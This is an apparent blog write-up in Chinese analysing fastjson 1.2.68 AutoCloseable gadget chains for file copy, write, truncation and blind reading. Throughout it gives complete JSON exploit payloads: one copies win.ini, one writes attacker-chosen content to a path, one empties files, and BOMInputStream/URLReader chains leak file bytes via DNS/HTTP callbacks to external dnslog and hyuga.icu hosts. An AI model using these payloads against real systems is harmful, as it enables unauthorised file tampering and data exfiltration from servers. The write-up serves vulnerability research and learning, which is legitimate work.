fastjson1.2.68对于文件操作的分析最全

fastjson1.2.68对于文件操作的分析

- 前言
- 分析
- 复制文件
- 写入文件
- 清空文件
- 读取文件
- - 分析poc
  - 拓宽场景
  - 极限环境
  - poc优化修改
  - 再次优化poc的分析

前言

这次分析也是分析了很久，因为每个链子都是自己去跟着分析了的，然后主要是去学习了一下怎么去挖链子

分析

前面漏洞复现只是简单地验证绕过方法的可行性，在实际的攻击利用中，是需要我们去寻找实际可行的利用类的。

我们的思路就是寻找实现自AutoCloseable接口（当然也可以是其他的接口，比如上面有的那些），并且可以恶意利用的，这里主要是学习
Mi1k7ea
主要是寻找关于输入输出流的类来写文件，IntputStream和OutputStream都是实现自AutoCloseable接口的。

需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream，参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个，并且可以通过 set 方法或构造方法传入一个 OutputStream，最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
需要一个通过 set 方法或构造方法传入一个 OutputStream，并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 close、write 或 flush 方法

以上三个组合在一起就能构造成一个写文件的利用链

复制文件

利用类：org.eclipse.core.internal.localstore.SafeFileOutputStream

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
</dependency>

主要看到它的构造方法

public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
        this.failed = false;
        this.target = new File(targetPath);
        this.createTempFile(tempPath);
        if (!this.target.exists()) {
            if (!this.temp.exists()) {
                this.output = new BufferedOutputStream(new FileOutputStream(this.target));
                return;
            }
 
            this.copy(this.temp, this.target);
        }
 
        this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
    }

这段 Java 代码定义了一个名为 SafeFileOutputStream 的类的构造函数。该构造函数接受两个参数，targetPath 和 tempPath，这两个参数分别代表目标文件路径和临时文件路径。
此构造函数首先设置 failed 标记为 false，然后根据 targetPath 创建一个 File 对象，用 tempPath 创建一个临时文件.
接下来，如果目标文件不存在，那么它将检查临时文件是否存在。如果临时文件也不存在，它将直接在目标路径开创一个新的文件输出流。否则，如果临时文件确实存在，它将临时文件的内容复制到目标文件中。
如果目标文件已经存在，那么它将在临时文件路径创建一个新的文件输出流。

只需要实例化就能够触发

{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"E:/Coding/flag.txt"}

写入文件

com.esotericsoftware.kryo.io.Output

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
</dependency>
<dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>5.0.73</version>
</dependency>

Output类主要用来写内容，它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流，其中buffer参数值是文件内容，outputStream参数值就是前面的SafeFileOutputStream类对象，而要触发写文件操作则需要调用其flush()函数

/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
 * @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
    this.outputStream = outputStream;
    position = 0;
    total = 0;
}
 
...
 
/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
 * maxBufferSize. */
public void setBuffer (byte[] buffer) {
    setBuffer(buffer, buffer.length);
}
 
...
 
/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
    if (outputStream == null) return;
    try {
        outputStream.write(buffer, 0, position);
        outputStream.flush();
    } catch (IOException ex) {
        throw new KryoException(ex);
    }
    total += position;
    position = 0;
}
 
...

可以看到调用关系是需要调用我们的flush()函数就会调用outputStream.write(buffer, 0, position);
write方法写入内容

怎么调用flush()函数只有在close()和require()函数被调用时才会触发，其中require()函数在调用write相关函数时会被触发。

ObjectOutputStream类，其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量，而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数，满足前面的需求：

 BlockDataOutputStream(OutputStream out) {
          this.out = out;
          dout = new DataOutputStream(this);
      }
 
      /**
       * Sets block data mode to the given mode (true == on, false == off)
       * and returns the previous mode value.  If the new mode is the same as
       * the old mode, no action is taken.  If the new mode differs from the
       * old mode, any buffered data is flushed before switching to the new
       * mode.
       */
      boolean setBlockDataMode(boolean mode) throws IOException {
          if (blkmode == mode) {
              return blkmode;
          }
          drain();
          blkmode = mode;
          return !blkmode;
      }
 
...
 
      /**
       * Writes all buffered data from this stream to the underlying stream,
       * but does not flush underlying stream.
       */
      void drain() throws IOException {
          if (pos == 0) {
              return;
          }
          if (blkmode) {
              writeBlockHeader(pos);
          }
          out.write(buf, 0, pos);
          pos = 0;
      }

对于setBlockDataMode()函数的调用，在ObjectOutputStream类的有参构造函数中就存在：

public ObjectOutputStream(OutputStream out) throws IOException {
    verifySubclass();
    bout = new BlockDataOutputStream(out);
    handles = new HandleTable(10, (float) 3.00);
    subs = new ReplaceTable(10, (float) 3.00);
    enableOverride = false;
    writeStreamHeader();
    bout.setBlockDataMode(true);
    if (extendedDebugInfo) {
        debugInfoStack = new DebugTraceInfoStack();
    } else {
        debugInfoStack = null;
    }
}

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数，因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类：com.sleepycat.bind.serial.SerialOutput

看到，SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数，这就满足了前面的条件了：

public SerialOutput(OutputStream out, ClassCatalog classCatalog)
    throws IOException {
 
    super(out);
    this.classCatalog = classCatalog;
 
    /* guarantee that we'll always use the same serialization format */
 
    useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "E:/code/hacked.txt",
        "tempPath": "E:/code/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "内容",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

这里写入文件内容其实有限制，有的特殊字符并不能直接写入到目标文件中，比如写不进PHP代码等。
在这里插入图片描述

清空文件

也是看到了scz师傅的文章

{
    '@type':"java.lang.AutoCloseable",
    '@type':'java.io.FileWriter',
    'file':'/tmp/nonexist',
    'append':false
}

我根据这个写了一个测试类，发现确实是可以完成我们的目的，测试类也不难，就不放了，
然后主要就是我们的append参数，因为他如果为false的话，就指的是吧文件内容写入覆盖，我们写入为空，那就相当于是删除文件了

但是问题出现了

Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.FileWriter
	at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:558)
	at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:915)

找不到我们的构造器，我们跟着链子，最后发现是问题是出在

if (paramNames != null
                        && types.length == paramNames.length)

这个判断是false，导致直接进入else

throw new JSONException("default constructor not found. " + clazz);

所以抛出了异常，那是因为我们参数是null，找不到对应的构造器，我们没有参数

最后看别人
JavaBeanInfo.build 方法中检查参数名的代码片段：

boolean is_public = (constructor.getModifiers() & 1) != 0;
if (is_public) {
    String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
    if (lookupParameterNames != null && lookupParameterNames.length != 0 && (creatorConstructor == null || paramNames == null || lookupParameterNames.length > paramNames.length)) {
        paramNames = lookupParameterNames;
        creatorConstructor = constructor;
    }
}

读取文件

这里参考的是浅蓝师傅的文章

分析poc

首先给出poc，我们根据这个poc来分析一下

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          ...
        ]
      }
    ]
  },
  "address" : {"$ref":"$.abc.BOM"}
}

首先我们一个类一个类的看，有什么作用
org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)

可以看到是可以传入一个InputStream类型的参数delegete和一个ByteOrderMark类型的数组
主要看下面的代码

 public ByteOrderMark getBOM() throws IOException {
        if (this.firstBytes == null) {
            this.fbLength = 0;
            int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
            this.firstBytes = new int[maxBomSize];

            for(int i = 0; i < this.firstBytes.length; ++i) {
                this.firstBytes[i] = this.in.read(); // 从 delegate 输入流从取出所有字节，组成一个 int 数组
                ++this.fbLength;
                if (this.firstBytes[i] < 0) {
                    break;
                }
            }

            this.byteOrderMark = this.find(); // 开始把实例化对象时传入的 ByteOrderMark 数组 boms 和从 delegate 输入流从取出所有字节组成的int数组进行比对。
            if (this.byteOrderMark != null && !this.include) {
                if (this.byteOrderMark.length() < this.firstBytes.length) {
                    this.fbIndex = this.byteOrderMark.length();
                } else {
                    this.fbLength = 0;
                }
            }
        }

        return this.byteOrderMark; //返回 byteOrderMark
    }
    private ByteOrderMark find() {
        Iterator var1 = this.boms.iterator();

        ByteOrderMark bom;
        do {
            if (!var1.hasNext()) {
                return null;
            }

            bom = (ByteOrderMark)var1.next();
        } while(!this.matches(bom));

        return bom;
    }
    private boolean matches(ByteOrderMark bom) {
        for(int i = 0; i < bom.length(); ++i) {
            if (bom.get(i) != this.firstBytes[i]) {
                return false;
            }
        }

        return true;
    }

可以看到这里是有一个逻辑的，先把 delegate 输入流的字节码转成 int 数组，然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对，如果遍历过程有比对错误的 getBom 就会返回一个 null，如果遍历结束，没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的delegte是什么呢？
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
        this.reader = reader;
        this.encoder = encoder;
        this.encoderIn = CharBuffer.allocate(bufferSize);
        this.encoderIn.flip();
        this.encoderOut = ByteBuffer.allocate(128);
        this.encoderOut.flip();
    }

这是它的构造方法，是一个reader，我们就看那个函数的名字，就是把我们的reader传为in或者out的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取char的范围，然后this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个reader看到下一个类URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

自己也没有搭环境复现，使用师傅的复现
在这里插入图片描述正常读文件时如果字节码比对正确了（因为要读的文件第一个字母是b，转成int就是98，我在boms传入的bytes第一个就是98，所以比对正确），他是会返回一个 ByteOrderMark 对象的。

因为我这里没有虚拟机，我自己写了一个测试类，但是不是fastjson的格式，只是为了明白一下原理

import org.apache.commons.io.ByteOrderMark;
import org.apache.commons.io.input.BOMInputStream;
import org.apache.commons.io.input.CharSequenceReader;
import org.apache.commons.io.input.ReaderInputStream;

import java.io.*;

public class test {
    public static void main(String[] args) throws IOException {
        File file =new File("文件路径");
        Reader reader =new FileReader(file);
        ReaderInputStream readerInputStream =new ReaderInputStream(reader,"UTF-8");
        ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);
        BOMInputStream bomInputStream =new BOMInputStream(readerInputStream,byteOrderMark);
        System.out.println(bomInputStream.getBOM());
    }
}

当我1.txt文件内容为a的时候，我们运行返回的是null，当我把文件内容改为b的时候，返回了在这里插入图片描述
所以就可以通过这一点来读取我们的文件内容

拓宽场景

有一个修改用户昵称的功能，使用了 fastjson 解析，取出 nickname 属性更新到数据库。我把 getBom 的值引用到 nickname 属性里。修改成功后如果返回查看 nickname 是空或者null那就代表字节码比对错误，如果是 ByteOrderMark[…] 那就说名比对成功。
是可以的，但是如有这样一个场景呢？

有一个接口使用了 fastjson 解析 json，获取了某个属性，代码中对这个属性的格式做了严格校验，或者不会调用 json 对象里的任何属性。所以我们无法从这个接口的响应得知 getBom 返回的到底是什么。不过这个接口如果在用 fastjson 解析 JSON 的过程中抛出了异常它就会输出到响应。

这时候我们又该如何操作呢？

按照上面的逻辑，我们是需要根据网页返回的结果来确定我们是否正确的，现在网页返回的是抛出异常，那我们是不是也应该对应着抛出异常

根据作者的想法
只要让传入参数时对象类型不匹配，fastjson 自身就会抛出一个异常，如果是 null 的话就不会抛出异常。

意思就是在我们的getBom方法再套一个类，让他根据返回值不同去抛出异常和不抛出异常，而抛出异常的逻辑也是根据类型匹配，我们匹配成功返回的是一个ByteOrderMark对象

最简单的方法就是

        ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);
        System.out.println(byteOrderMark.getClass().getName());

输出他的类型，你运行的话可以发现他就是ByteOrderMark类型的，我们找一个类，他能接收null不报错，接收我们的这个类型报错的

我先尝试着找了一下，但是太瓜皮了，找到的是AnrryList和MYclass，但是不行，这里看作者找到的是CharSequenceReader类，我在本地尝试了一下，真的可以，作者太牛了

我还是去找了一下，我在思考可不可以使用我们的方法来判断呢？这里我找到了一个方法

Optional.ofNullable(null);  // 这不会抛出异常

可不可以这样利用呢？，但是突然想起来fastjson只能调用的是get和set方法，用个屁

当然我还是去找了找发现

AtomicReference<String> atomicReference = new AtomicReference<>(null);

也不会报错，所以还是有利用的价值的，所以感觉是可以利用的，但是对于原来作者有一个我没有明白，为什么java.lang.String还要加上呢？

不对，我好像找到了答案，因为我必须传入一个参数，这个参数有个条件，那就是必须是CharSequence类型的，我们去探究一下，

public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence

这个就是我们的原因，不过这个null在传入String就已经报错了，没道理，感觉还是没有作用的，但是自己又不会去实际测试一下，难崩

因为这个要连那个虚拟机来着，不会，不想学，因为这个本身利用价值不大，只是学一下思路

极限环境

有一个接口，用 fastjson 解析了 JSON，但不会反馈任何能够作为状态判断的标识，连异常报错的信息都没有。

这里又用到了fastjson的一个特性

如果fastjson前面的错了，那后面的也不会去执行
所以我们就可以利用这一点，先看原来作者的poc

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
  "xxx": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://aaaxasd.g2pbiw.dnslog.cn/"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
  },
  "zzz":{"$ref":"$.xxx.BOM[0]"}
}

不明白为什么还需要那么长，后面的他探测还是用了前面的重复下来？
其实还是因为我们的urlreader这个类，前面说了他还可以使用http协议，我们就可以进行dnslog探测，所以作者是根据的这个去写poc的
在这里插入图片描述可以看到是成功的解析了的

poc优化修改

其实这里直接换成正常的探测poc就ok的
我们用的是

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          48,
        ]
      }
    ]
  },
  "address" : {
	"@type": "java.lang.AutoCloseable",
	"@type":"org.apache.commons.io.input.CharSequenceReader",
	"charSequence": {
		"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
	},
	"start": 0,
	"end": 0
  },
  "xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"}
}

可以看到最后只是加了个探测的poc，我认为这已经是最ok的结果了，但是师傅发现

因为上面的构造是匹配失败也就是没有匹配到就会发出请求，说实话匹配失败的次数是远远大于成功的次数的，所以师傅就换了一个逻辑，就是只匹配成功的时候发送请求，匹配成功返回对象，那我们该怎么修改呢？

再次优化poc的分析

这里我们还得清楚一个点
那就是到底是怎么去访问我们的远程url的啊？也没看见啊，我们找一下和reader有关的地方

经过仔细的调试分析，终于是找到了眉目
给出调用栈就能够大哥明白我们的访问是在哪里触发的了

openConnection:62, Handler (sun.net.www.protocol.http)
openConnection:57, Handler (sun.net.www.protocol.http)
openConnection:972, URL (java.net)
openStream:1038, URL (java.net)
readFully:811, Source (jdk.nashorn.internal.runtime)
getReader:116, URLReader (jdk.nashorn.api.scripting)
read:87, URLReader (jdk.nashorn.api.scripting)
fillBuffer:206, ReaderInputStream (org.apache.commons.io.input)
read:283, ReaderInputStream (org.apache.commons.io.input)
getBOM:213, BOMInputStream (org.apache.commons.io.input)
main:17, test

我们前面需要的是匹配成功才访问，这就需要一个先决的条件，因为我们的匹配和访问url都是发生在我们的getBOM方法中的，我们就要判断谁先发生的，如果是访问url先发生，那我们这样是没有意义的

我们看看poc

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
	  "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
		"@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [48,]
      }
    ]
  },
  "address": {
	  "@type": "java.lang.AutoCloseable",
	  "@type": "org.apache.commons.io.input.BOMInputStream",
	  "delegate": {
		"@type": "org.apache.commons.io.input.ReaderInputStream",
		"reader": {
		  "@type": "jdk.nashorn.api.scripting.URLReader",
		  "url": "http://aaaxd.bf1p.hyuga.icu/"
		},
		"charsetName": "UTF-8",
		"bufferSize": 1024
	  },
	  "boms": [{"$ref":"$.abc.BOM[0]"}]
  },
  "xxx":{"$ref":"$.address.BOM[0]"}
}